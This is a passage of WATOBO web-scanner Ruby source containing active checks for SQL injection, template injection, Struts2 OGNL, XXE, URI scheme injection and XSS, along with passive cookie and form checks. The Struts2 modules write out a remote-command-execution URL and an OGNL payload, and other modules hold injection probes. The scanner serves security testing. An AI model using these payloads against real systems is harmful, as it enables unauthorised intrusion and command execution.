(duration >= time_to_sleep) puts "Found time-based SQLi in parameter #{parm} !!!" puts "after #{duration}s / time-to-sleep #{time_to_sleep}s)" test_request.extend Watobo::Mixin::Parser::Url unless test_request.respond_to? :path path = "/" + test_request.path vulnerable = true output << "SleepTime: #{time_to_sleep}\nQuery Duration: #{duration}s" addFinding(test_request, test_response, :check_pattern => "#{test_value}", :chat => chat, :title => "[#{parm.name}] - #{path}", :proof_pattern => "", :test_item => parm.name, :class => "SQL-Injection (Time-based)", :output => output ) #readlines break end end [test_request, test_response] } yield checker end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/ssti/000077500000000000000000000000001366346341400167235ustar00rootroot00000000000000watobo-1.0.1/modules/active/ssti/ssti_simple.rb000066400000000000000000000072221366346341400216060ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Ssti class Ssti_simple < Watobo::ActiveCheck threat = <<'EOF' EOF measure = "All user input should be filtered and/or escaped using a method appropriate for the output context" @info.update( :check_name => 'Simple Template Injection Checks', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_SSTI, :description => "Check for template injection vulnerabilities.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => AC_GROUP_SSTI, # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_HIGH, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @evasions = ["%0a", "%00"] @markers = [] @markers << %w( { } ) @markers << %w( {{ }} ) @markers << %w( ${ } ) @markers << %w( <% %> ) @markers << %w( <%= %> ) @markers << %w( [% %] ) @markers << %w( [%= %] ) end def generateChecks(chat) # # Check GET-Parameters # begin @parm_list = chat.request.parameters(:data, :url, :json) @parm_list.each do |param| checks = [] checks.concat @markers @evasions.each do |e| checks.concat @markers.map {|m| ["#{e}#{m[0]}", m[1]]} end checks.each do |check| checker = proc { test_request = nil test_response = nil inj_val = '666 * 666' inj = "#{check[0]} #{inj_val} #{check[1]}" pattern = eval(inj_val).to_s test = chat.copyRequest parm = param.copy parm.value = inj if parm.location == :url parm.value = URI.escape(inj) end test.set parm test_request, test_response = doRequest(test) if test_response.join =~ /(#{pattern})/i puts '!!! GOTCHA !!!! FOUND SSTI Vulnerability' if $VERBOSE match = $1 addFinding(test_request, test_response, # :check_pattern => "#{Regexp.quote(parm.value)}", :check_pattern => "#{parm.value}", :proof_pattern => "#{match}", :test_item => "#{parm.name}", :chat => chat, :title => "[#{parm.name}] - #{test_request.path}" ) end [test_request, test_response] } yield checker end end end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end watobo-1.0.1/modules/active/struts2/000077500000000000000000000000001366346341400173675ustar00rootroot00000000000000watobo-1.0.1/modules/active/struts2/default_handler_ognl.rb000066400000000000000000000073301366346341400240570ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Struts2 class Default_handler_ognl < Watobo::ActiveCheck @@tested_directories = Hash.new threat =<<'EOF' A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution Source: http://struts.apache.org/release/2.3.x/docs/s2-016.html CVE: CVE-2013-2251 EOF # details =<<'EOD' Example for code execution: http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()} EOD measure = "Update Struts2 to version >2.3.15.1" @info.update( :check_name => 'Struts2 default handlers', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => "Struts", :description => "Check for struts2 default handlers which doesn't sanitize parameters.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "Struts2 - default handlers", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure, :details => details ) def initialize(project, prefs={}) super(project, prefs) @vuln_handlers = %w( action redirect redirectAction) def reset @@tested_directories.clear end end def generateChecks(chat) begin # path = chat.request.dir return true if @@tested_directories.has_key?(path) @@tested_directories[path] = true @vuln_handlers.each do |handler| checker = proc { results = {} request = nil response = nil test_request = chat.copyRequest test_value = '?' + CGI::escape("#{handler}:watobo_%{10000-1}") test_request.replaceElement test_value request, response = doRequest(test_request) if response.headers.select{|h| h =~ /^Location:.*(_9999)/}.length > 0 addFinding( request, response, :check_pattern => test_value, :proof_pattern => "Location:.*_9999", :test_item => handler, :chat => chat, :title => "[#{request.dir}] - #{handler}" ) end [ request, response ] } yield checker end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end end watobo-1.0.1/modules/active/struts2/include_params_ognl.rb000066400000000000000000000076731366346341400237360ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Struts2 class Include_params_ognl < Watobo::ActiveCheck threat =<<'EOF' A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution Source: http://struts.apache.org/release/2.3.x/docs/s2-013.html CVE: CVE-2013-1966 EOF # details =<<'EOD' Example for code execution: http://your.vulnerable.app/?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{%27/bin/bash%27,%27-c%27,%27touch%20/tmp/pwned%27})).start()} EOD measure = "Update Struts2 to version >2.3.14" @info.update( :check_name => 'Struts2 includeParams', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => "Struts", :description => "Check for vulnerable includeParams attribute.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "Struts2 - includeParams", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure, :details => details ) def initialize(project, prefs={}) super(project, prefs) end def generateChecks(chat) begin checker = proc { results = {} request = nil response = nil test_request = chat.copyRequest test_value = "%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(INJ),#writer.close())}" marks = [ "INJ" , Time.now.to_i.to_s ] inj_str = marks.map{|m| "'#{m}'"}.join("+") test_value.gsub!(/INJ/, inj_str) tparam = Watobo::UrlParameter.new( :name => "watobo", :value => CGI::escape(test_value) ) test_request.url.set tparam #puts test_request.first request, response = doRequest(test_request) if response.respond_to? :body unless response.body.nil? body = response.body.unpack("C*").pack("C*") #puts body proof = marks.join if response.body.to_s =~ /#{proof}/ addFinding( request, response, :check_pattern => CGI::escape(test_value), :proof_pattern => "#{proof}", :chat => chat, :title => "[includeParams] - #{request.file}" ) end end end [ request, response ] } yield checker rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end end watobo-1.0.1/modules/active/uri_schemes/000077500000000000000000000000001366346341400202475ustar00rootroot00000000000000watobo-1.0.1/modules/active/uri_schemes/scheme_injection.rb000066400000000000000000000061761366346341400241140ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Uri_schemes class Scheme_injection < Watobo::ActiveCheck threat = <<'EOF' URI Scheme injection for possible parameter parsing. A controlled DNS is required to see dns requests. EOF measure = "All user input should be filtered and/or escaped using a method appropriate for the output context" @info.update( :check_name => 'URI Scheme Injection', # name of check which briefly describes functionality, will be used for tree and progress views :description => "URI Schemes are used as paremeter input to see if application does an DNS request.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "URI Parsing", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_HIGH, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @envelop = "watobo" @env_count = 0 @evasions = ["%0a", "%00"] @uri_schemes = %w( http https ldap git ftp java php ) @escape_chars = ['\\'] @additional_parms = [] def reset @additional_parms = [] @env_count = 0 end end def generateChecks(chat) begin # @parm_list = chat.request.parameters() @parm_list.concat @additional_parms @parm_list.each do |test_parm| #log_console( "#{parm.location} - #{parm.name} = #{parm.value}") checks = [] @uri_schemes.each do |scheme| %w( php htm html zip jsp doc pdf).each do |fext| @env_count += 1 check_id = "watobo_#{scheme}_#{@env_count}" checks << [scheme.dup, "#{scheme}://#{check_id}.#{Watobo::Conf::Scanner.dns_sensor}.#{fext}", check_id] end end checks.each do |scheme, check, check_id| parm = test_parm.copy checker = proc { test_request = nil test_response = nil test = chat.copyRequest parm.value = CGI.escape(check) test.set parm test_request, test_response = doRequest(test) [test_request, test_response] } yield checker end end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end end watobo-1.0.1/modules/active/xml/000077500000000000000000000000001366346341400165415ustar00rootroot00000000000000watobo-1.0.1/modules/active/xml/xml_doctype_dns.rb000066400000000000000000000106471366346341400222710ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Xml class Xml_doctype_dns < Watobo::ActiveCheck # XML Attacks # https://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf # @info.update( :check_name => 'XML-Doctype-DNS', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => "XML", :description => "Checks if Doctype declaration gets resolved. A DNS sensor is required!", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat = "https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)" measure = "Disable Doctype declarations." @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "Doctype declarations", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_MEDIUM, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @schemas = %w( http https ftp mail jar file netdoc mailto gopher doc verbatim systemresource php data glob phar zip rar ogg expect ssh2.exec ssh2.shell ssh2.tunnel ssh2.sftp ssh2.scp ) end def generateChecks(chat) begin return nil unless (chat.request.content_type =~ /xml/ and chat.request.has_body?) #puts "Body:\n#{chat.request.body}" # first we do a request with an base = chat.copyRequest base_request, base_response = doRequest(base) @schemas.each do |schema| checker = proc { begin test_request = nil test_response = nil new_doc, pattern = add_doctype(schema, chat.request.body) test = chat.copyRequest test.setData new_doc.to_s puts pattern # TODO: implement collab check test_request, test_response = doRequest(test) =begin #puts test_response.status if test_response.has_body? and base_response.has_body? if test_response.body == base_response.body addFinding(test_request, test_response, :test_item => "ENTITY", :check_pattern => "ENTITY", :chat => chat, :title => "[#{chat.request.path}] - ENTITY", :debug => true ) elsif test_response.status_code =~ /2\d\d/ addFinding(test_request, test_response, :test_item => "ENTITY", :check_pattern => "ENTITY", :chat => chat, :title => "[#{chat.request.path}] - ENTITY", :debug => true, :rating => VULN_RATING_MEDIUM ) end =end rescue => bang puts bang puts bang.backtrace if $DEBUG end [test_request, test_response] } yield checker rescue => bang puts bang puts bang.backtrace if $DEBUG end end end private def add_doctype(schema, xml_string) xml_packets = [] xmlbase = Nokogiri::XML(xml_string) # first we remove existing doctypes xmlbase.document.internal_subset.remove unless xmlbase.document.internal_subset.nil? # create pattern for collab server pattern = schema + '_' + Time.now.to_f.to_s.gsub(/.*\./,'') xmlbase.document.create_internal_subset('Document', 'watobo', "#{schema}://#{pattern}.collab.qimera.eu") [xmlbase, pattern] end end # --> eo namespace end end end endwatobo-1.0.1/modules/active/xml/xml_xxe.rb000077500000000000000000000126211366346341400205570ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Xml class Xml_xxe < Watobo::ActiveCheck # This module checks if DTD is accepted # The idea is to use regular parameters and convert them to entity # if the result is the same, chances are good that XXE attacks will work # # Links: # http://www.w3.org/TR/2004/REC-xml-20040204/#sec-external-ent # Exploitation notes: # https://www.christian-schneider.net/GenericXxeDetection.html # # "> @info.update( :check_name => 'XML-XXE', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => "XML", :description => "XML eXternal Entity (XXE).", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat = "https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)" measure = "Disable external entities." @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "External Entities", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) end def generateChecks(chat) begin if chat.request.has_body? && chat.request.body.to_s =~ /^<\?xml/ # first we do a request with an base = chat.copyRequest base_request, base_response = doRequest(base) create_entity_packets(chat.request.body).each do |packet| checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest test.setData packet.to_s test_request, test_response = doRequest(test) #puts test_response.status if test_response.has_body? and base_response.has_body? if test_response.body == base_response.body addFinding(test_request, test_response, :test_item => "ENTITY", :check_pattern => "ENTITY", :chat => chat, :title => "[#{chat.request.path}] - ENTITY", :debug => true ) elsif test_response.status_code =~ /2\d\d/ addFinding(test_request, test_response, :test_item => "ENTITY", :check_pattern => "ENTITY", :chat => chat, :title => "[#{chat.request.path}] - ENTITY", :debug => true, :rating => VULN_RATING_MEDIUM ) end end rescue => bang puts bang puts bang.backtrace if $DEBUG end [test_request, test_response] } yield checker end end rescue => bang puts bang puts bang.backtrace if $DEBUG end end private def create_entity_packets(xml_string) xml_packets = [] xmlbase = Nokogiri::XML(xml_string) xmlbase.traverse do |node| begin node.content = 'XXE' if node.text.strip.empty? #next if node.parent.namespace.nil? unless node.text.strip.empty? xml = Nokogiri::XML(xml_string) xml.create_internal_subset("#{node.parent.name}", nil, nil) node_name = "" if node.parent.respond_to?(:namespace) node_name << "#{node.parent.namespace.prefix}:" if node.parent.namespace.respond_to? :prefix end node_name << "#{node.parent.name}" add_entity(xml, "#{node_name}", "#{node.parent.name}", "#{node.text}") xml_packets << xml end rescue => bang puts bang end end xml_packets end def add_entity(xml, node_name, entity_name, value) xml.create_entity(entity_name, Nokogiri::XML::EntityDecl::INTERNAL_GENERAL, nil, nil, value) entity = Nokogiri::XML::EntityReference.new xml, entity_name nodeset = xml.xpath("//#{node_name}") nodeset.first.send(:native_content=, entity.to_s) unless nodeset.empty? end end # --> eo namespace end end end endwatobo-1.0.1/modules/active/xss/000077500000000000000000000000001366346341400165565ustar00rootroot00000000000000watobo-1.0.1/modules/active/xss/xss_ng.rb000066400000000000000000000177101366346341400204120ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Xss class Xss_ng < Watobo::ActiveCheck threat = <<'EOF' Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology. When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise. Source: http://projects.webappsec.org/Cross-Site+Scripting EOF measure = "All user input should be filtered and/or escaped using a method appropriate for the output context" @info.update( :check_name => 'NextGeneration Cross Site Scripting Checks', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_XSS, :description => "XSS Checks with rating. Additional parameters are created by extracting input fields (name/value pairs) of the original response.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "Reflected XSS", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_HIGH, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @envelop = "watobo" @env_count = 0 @evasions = ["%0a", "%00"] @xss_chars = %w( < > ' " ) @escape_chars = ['\\'] @additional_parms = [] def reset @additional_parms = [] @env_count = 0 end end def generateChecks(chat) begin # if chat.response.respond_to? :input_fields chat.response.input_fields do |field| @additional_parms << field.to_www_form_parm if chat.request.method_post? @additional_parms << field.to_url_parm end end @parm_list = chat.request.parameters() @parm_list.concat @additional_parms @parm_list.each do |parm| #log_console( "#{parm.location} - #{parm.name} = #{parm.value}") checks = [] @xss_chars.each do |xss| @env_count += 1 check_id = "#{@envelop}#{@env_count}" checks << [xss.dup, "#{xss}", check_id] checks << [xss.dup, "#{parm.value}#{xss}", check_id] checks << [xss.dup, "#{xss}#{parm.value}", check_id] end checker = proc { results = {} checks.each do |xss, check, check_id| test_request = nil test_response = nil # UPDATE: we inject every parameter, to have a chance for xss in error responses # first we check, if parameter is injectable # accept only one (escape) char between check_id and check string proof = "#{check_id}(#{Regexp.quote(check)}){0,1}#{check_id}" next if results.has_key? xss test = chat.copyRequest parm.value = check_id + CGI.escape(check) + check_id test.set parm test_request, test_response = doRequest(test) if not test_response then if $DEBUG puts "[#{Module.nesting[0].name}] got no response :(" puts test end elsif test_response.join =~ /#{proof}/i match = $1 #puts "MATCH: [ #{match} ] / [ #{check} ]" if match == check results[xss] = {:match => :full, :check => check, :proof => proof} end unless results.has_key? xss @escape_chars.each do |ec| ep = Regexp.quote("#{ec}#{xss}") # puts "Escaped: #{match} / #{ep}" results[xss] = {:match => :escaped, :check => check, :proof => proof, :escape_char => "#{ec}"} if match =~ /#{ep}/ end end end end rating = 0 puts results.to_yaml if $DEBUG xss_combo = "" combo_patterns = [] results.each do |k, v| mp = CGI.escape(k) rp = CGI.escape(@xss_chars.join) xss_combo += CGI.escape(k) #puts "[#{k}] - #{v}" case v[:match] when :full rating += 100 / @xss_chars.length combo_patterns << k when :escaped rating += 100 / (@xss_chars.length * 4) combo_patterns << Regexp.quote("#{v[:escape_char]}#{k}") end end if rating > 0 test = chat.copyRequest #puts "COMBO-REQUEST: #{xss_combo}" parm.value = "#{@envelop}#{@env_count}#{xss_combo}" pattern = "(#{@envelop}#{@env_count}(#{combo_patterns.join("|")})+)" test.set parm match = "" test_request, test_response = doRequest(test) if not test_response then puts "got no response :(" elsif test_response.join =~ /#{pattern}/i match = $1 #puts "MATCH: #{match}" end fclass = "Reflected XSS - #{rating}%" fclass = "Reflected XSS (POST) - #{rating}%" if parm.location == :data addFinding(test_request, test_response, :check_pattern => xss_combo, :proof_pattern => "#{match}", :test_item => parm.name, :class => fclass, :chat => chat, :title => "[#{parm.name}] - #{test_request.path}" ) end [test_request, test_response] } yield checker end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end end watobo-1.0.1/modules/active/xss/xss_simple.rb000066400000000000000000000121151366346341400212710ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Xss class Xss_simple < Watobo::ActiveCheck threat = <<'EOF' Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology. When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise. Source: http://projects.webappsec.org/Cross-Site+Scripting EOF measure = "All user input should be filtered and/or escaped using a method appropriate for the output context" @info.update( :check_name => 'Simple Cross Site Scripting Checks', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_XSS, :description => "Check for every parameter if response contains XSS'able content.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "Reflected XSS", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_HIGH, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @xss_checks = [ ["", ""], ["%3Cscript%3Ewatobo%3C/script%3E", ""], ["%0a", ""], # prepend %0A can circumvent checks ... seen in the wild ["%0a%3Cscript%3Ewatobo%3C/script%3E", ""], # prepend %0A can circumvent checks ... seen in the wild [""], ] end def generateChecks(chat) # # Check GET-Parameters # begin chat.request.parameters.each do |testparm| # puts parm # puts "#{Module.nesting[0].name}: run check on chat-id (#{chat.id}) with parm (#{parm})" @xss_checks.each do |check, pattern| parm = testparm.copy checker = proc { test_request = nil test_response = nil test = chat.copyRequest parm.value = check test.set parm test_request, test_response = doRequest(test) if not test_response then puts "got no respons :(" elsif test_response.join =~ /(#{pattern})/i match = $1 # puts "found xss (get)" # test_chat = Chat.new(test,test_response,chat.id) # resource = "/" + test_request.resource finding_class = "Reflected XSS [#{parm.location.to_s}]" addFinding(test_request, test_response, :check_pattern => "#{check}", :proof_pattern => "#{match}", :test_item => parm.name, :class => finding_class, :chat => chat, :title => "[#{parm.name}] - #{test_request.path}" ) end #@project.new_finding(:short_name=>"#{parm}", :check=>"#{check}", :proof=>"#{pattern}", :kategory=>"XSS-Post", :type=>"Vuln", :chat=>test_chat, :rating=>"High") [test_request, test_response] } yield checker end end end end end end end end end watobo-1.0.1/modules/passive/000077500000000000000000000000001366346341400161405ustar00rootroot00000000000000watobo-1.0.1/modules/passive/ajax.rb000066400000000000000000000045441366346341400174170ustar00rootroot00000000000000require 'cgi' # @private module Watobo#:nodoc: all module Modules module Passive class Ajax < Watobo::PassiveCheck def initialize(project) @project = project super(project) @info.update( :check_name => 'Ajax', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Spots Ajax Frameworks like jQuery.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.1" # check version ) @finding.update( :threat => 'Framework may contain vulnerabilities.', # thread of vulnerability, e.g. loss of information :class => "Ajax Framework", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) @fw_patterns = [] @fw_patterns << { :name => 'jQuery', :pattern => 'jQuery v([0-9\.]*) .*jquery.(com|org)'} end def showError(chatid, message) puts "!!! Error #{Module.nesting[0].name}" puts "Chat: [#{chatid}]" puts message end def do_test(chat) begin return false if chat.response.nil? return false unless chat.response.has_body? return true unless chat.response.content_type =~ /(text|script)/ @fw_patterns.each do |pattern| #body = chat.response.body.unpack("C*").pack("C*") body = chat.response.body_encoded if body =~ /#{pattern[:pattern]}/i then version = $1.strip addFinding( #:check_pattern => "#{pattern[:pattern]}", :proof_pattern => "#{pattern[:pattern]}", :chat=>chat, :title =>"[ #{pattern[:name]} #{version} ] - #{chat.request.path}", ) end end rescue => bang # raise puts bang puts bang.backtrace showError(chat.id, bang) end end end end end end watobo-1.0.1/modules/passive/autocomplete.rb000066400000000000000000000040021366346341400211620ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Passive class Autocomplete < Watobo::PassiveCheck def initialize(project) @project = project super(project) @info.update( :check_name => 'Password AutoComplete', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks Password Fields For AutoCompletion", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Password values may be stored on the local filesystem.', # thread of vulnerability, e.g. loss of information :class => "Password Autocompletion", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_LOW, :measure => "The form field should have an attribute autocomplete=\"off\"" ) end def do_test(chat) begin if chat.response.respond_to? :input_fields chat.response.input_fields do |f| ac = f.autocomplete.nil? ? "" : f.autocomplete if f.type =~ /password/i and ( ac =~ /off/i or ac.empty? ) addFinding( :proof_pattern => "input[^>]*type=[^>=]*password.*>{1}", :title => "#{chat.request.file}", :chat => chat ) end end end rescue => bang # raise puts "ERROR!! #{Module.nesting[0].name}" puts bang puts bang.backtrace if $DEBUG end return false end end end end end watobo-1.0.1/modules/passive/cookie_options.rb000066400000000000000000000060551366346341400215170ustar00rootroot00000000000000# . # cookie_options.rb # # Copyright 2010 by siberas, http://www.siberas.de # # This file is part of WATOBO (Web Application Tool Box) # http://watobo.sourceforge.com # # WATOBO is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation version 2 of the License. # # WATOBO is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with WATOBO; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # . # @private module Watobo#:nodoc: all module Modules module Passive class Cookie_options < Watobo::PassiveCheck def initialize(project) @project = project super(project) @info.update( :check_name => 'Cookie Security', # name of check which briefly describes functionality, will be used for tree and progress views :description => 'Cookies especially Session Cookies should be set only over a secure channel. Additionally there should be set some security options.', # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Cookies used in this application are not secured by special Cookie Options like Secure or HTTPOnly. If Cookie Security is not in place, sensitive cookie information may be revealed.', # thread of vulnerability, e.g. loss of information :class => "Cookie Security",# vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # e.g. Hints, Info, Vuln :rating=> VULN_RATING_MEDIUM # [Symbol] Critical, High, Medium, Low, Info ) end def do_test(chat) begin # puts "running module: #{Module.nesting[0].name}" if chat.response.headers.each do |h| if h =~ /(^Set-Cookie.*)/ then dummy = h.split(";") cookie = dummy.shift options = dummy.join(";") if (chat.request.proto =~ /https/i and options !~ /secure/i) or options !~ /httponly/i then cookie.gsub!(/=.*/,"") addFinding( :proof_pattern => options, :check_pattern => "Set-Cookie:.*", :chat => chat, :title => 'Security Options', :unique => cookie) end end end end rescue puts "ERROR!! #{Module.nesting[0].name}" end end end end end end watobo-1.0.1/modules/passive/cookie_xss.rb000066400000000000000000000040661366346341400206410ustar00rootroot00000000000000 # @private module Watobo#:nodoc: all module Modules module Passive class Cookie_xss < Watobo::PassiveCheck def initialize(project) @project = project super(project) @info.update( :check_name => 'Cookie XSS', # name of check which briefly describes functionality, will be used for tree and progress views :description => "If cookies will be used in the content body, they can be misused for XSS-Attacks.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'A cookie value has been found in the body of the HTML page. This may be exploited for XSS attacks.', # thread of vulnerability, e.g. loss of information :class => "Cookie Security", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) end def do_test(chat) begin # puts "running module: #{Module.nesting[0].name}" return if chat.response.nil? or chat.response.body.nil? if chat.response.content_type =~ /text/ chat.request.cookies do |cookie| cval = Regexp.quote(cookie.value) if chat.response.body_encoded =~ /#{cval}/ and cval.length > 5 then addFinding(:proof_pattern => "#{cval}", :check_pattern => "#{cval}", :chat => chat, :title => "[#{cname}] - #{chat.request.path}") break end end end return true rescue => bang puts "ERROR!! #{Module.nesting[0].name}" puts bang puts bang.backtrace if $DEBUG end return false end end end end end watobo-1.0.1/modules/passive/detect_code.rb000066400000000000000000000050461366346341400207340ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Passive class Detect_code < Watobo::PassiveCheck def initialize(project) @project = project super(project) @info.update( :check_name => 'Detect Code Snippets', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Detects code snippets which may reveal sensitive information.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :threat => 'Code snippets may reveal internal information like database passwords.', # thread of vulnerability, e.g. loss of information :class => "Code Snippets", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) @pattern_list = [] @pattern_list << ['<\?php', "PHP" ] @pattern_list << [ ' Group Created with Sketch. watobo-1.0.1/plugins/jwt/jwt.rb000066400000000000000000000004411366346341400164330ustar00rootroot00000000000000# @private module Watobo#:nodoc: all::Plugin module Plugin class JWT < Watobo::PluginBase plugin_name "JWT Analyzer" description "JWT Creator/Parser/Analyzer/Verifier" load_libs load_gui :main #, :targets, :result_tree end end end 